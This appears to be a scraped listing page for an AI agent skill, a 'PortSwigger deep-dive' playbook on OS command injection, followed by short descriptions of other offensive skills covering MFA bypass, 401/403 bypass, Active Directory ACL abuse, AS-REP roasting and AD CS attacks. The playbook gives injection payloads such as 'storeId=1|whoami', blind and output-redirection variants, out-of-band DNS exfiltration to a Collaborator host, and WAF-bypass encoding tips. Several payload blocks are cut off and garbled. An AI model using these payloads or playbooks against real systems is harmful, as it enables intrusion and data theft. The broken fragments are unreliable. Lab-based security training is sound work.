Complete PortSwigger deep-dive with exact payloads for every lab variant including zero-day techniques
The English summary is being prepared. Showing the original description.
See how to installReview the instructions the agent will receive before you install.
Deep-Dive Lab Playbook — Every PortSwigger lab variant with exact payloads, bypass techniques, and zero-day extensions. 🟢 Apprentice 🟡 Practitioner 🔴 Expert
POST /product/stock HTTP/1.1
productId=1&storeId=1|whoami
peter-abcdef — command executed.storeId=1|```
10-second delay confirms blind injection. `||` ensures execution regardless of first command.
---
### Lab 3: Blind with output redirection 🟡 PRACTITIONER
```http
storeId=1|```
Then fetch: `GET /image?filename=output.txt`
---
### Lab 4: Blind with out-of-band 🟡 PRACTITIONER
```http
storeId=1|```
Check Collaborator for DNS lookup.
---
### Lab 5: Blind OOB data exfiltration 🟡 PRACTITIONER
```http
storeId=1|```
DNS query: `peter-abc123.BURP-COLLAB.net` — username exfiltrated via DNS subdomain.
---
## Blue Team Detection
- Monitor access logs for anomalous payloads.
- Implement strict input validation and parameterized queries where applicable.
- Create WAF rules masking generic attack patterns.
## Zero-Day Research
When standard technique fails:
1. Identify the filter/WAF
2. Fuzz with Burp Intruder custom wordlists
3. Search GitHub/Twitter for new bypasses
4. Chain with other vulns for escalation
5. Try encoding variants: URL, double-URL, unicode, hex
## Key Concepts
| Concept | Description |
|---------|-------------|
| PortSwigger Vectors | Standardized approaches to vulnerability classes. |
| Payload Encoding | Modifying payloads to bypass basic string matching WAFs. |
## Output Format
Target Vector: [Endpoint] Bypass Technique: [Explanation of bypass] Payload Used: [Payload] Impact Explanation: [Impact]
## 🔵 Blue Team
- Deploy robust WAF rules to detect anomalies.
- Monitor logs for unusual access patterns.
## 🛡️ Remediation & Mitigation Strategy
- **Input Validation:** Sanitize and strictly type-check all inputs.
- **Least Privilege:** Constrain component execution bounds.
## 📚 Shared Resources
> For cross-cutting methodology applicable to all vulnerability classes, see:
> - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patterns
> - [`_shared/references/elite-report-writing.md`](../_shared/references/elite-report-writing.md) — HackerOne-optimized report writing, CWE quick reference
> - [`_shared/references/real-world-bounties.md`](../_shared/references/real-world-bounties.md) — Verified disclosed bounties by vulnerability class
## References
- [PortSwigger Labs](https://portswigger.net/web-security/all-labs)
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings)
- [HackTricks](https://book.hacktricks.xyz/)
No reviews yet. Tell others what you thought.
No login needed. Share how it worked for you, ask a question, or note where it did not run.
No comments yet. Be the first to write one.
Exploit pervasive logical flaws in Multi-Factor Authentication (MFA/2FA) implementations to bypass the secondary authentication challenge entirely. Techniques include response manipulation, referal spoofing, token reuse, and predictable backup codes.
The English summary is being prepared. Showing the original description.
401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP method tampering, header injection, protocol downgrade, and automated bypass tools.
The English summary is being prepared. Showing the original description.
Complete PortSwigger deep-dive with exact payloads for every lab variant including zero-day techniques
The English summary is being prepared. Showing the original description.
Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths.
The English summary is being prepared. Showing the original description.
Execute AS-REP Roasting to extract and crack the NTLM hashes of Active Directory user accounts that have the "Do not require Kerberos preauthentication" flag explicitly enabled. This attack generates a recoverable Ticket Granting Ticket (TGT) without requiring the attacker to authenticate first.
The English summary is being prepared. Showing the original description.
AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence.
The English summary is being prepared. Showing the original description.